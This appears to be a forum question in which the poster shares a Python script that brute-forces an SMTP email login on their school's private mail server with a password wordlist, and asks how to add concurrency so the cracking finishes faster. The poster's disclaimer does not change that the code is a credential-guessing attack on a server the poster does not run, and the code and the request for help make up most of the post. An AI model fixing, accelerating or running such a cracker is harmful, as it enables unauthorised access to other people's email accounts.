/ * This is not for something illegal, since my school uses only 7 integers, and I want to see if I can get it to work on time, as I currently need 1.59 years to crack the password. The school has its own private server in place for everyone concerned, and it's easy to spot. I will do this only for me or my friends with their permission. * /
I just wanted to use some processing or concurrent.futures so that this password cracker would execute in a reasonable amount of time.
Here is my attempt at its parallelism
import smtplib from concurrent.futures import ThreadPoolExecutor def conn(): print("Got to here3") smtpserver.connect('private_email_server', 587) smtpserver.ehlo() smtpserver.starttls() print("OK going to main") main() def main(): for password in passwfile.readlines(): password = password.strip() print("Go to here1") try: print("WELL AT LEAST WE GOT HERE") smtpserver.login(' myemail@private _email.com', password) a = password with open('pass.txt','w') as bc: bc.write(a) print ("[+] Password cracked----> %s" % password) input() break except smtplib.SMTPAuthenticationError: print("[-] Wrong --> %s" % password) pass except: print("Got to here2") conn() if __name__ == '__main__': passwfile = open('per.txt', 'r') smtpserver = smtplib.SMTP() with ThreadPoolExecutor(max_workers=3) as exe: exe.submit(conn)
This really works only if the password is in the first line, it displays only the indicators that I wrote there, like print ("Got to here3") It does not print the hacked password or even writes it to a text file.
source share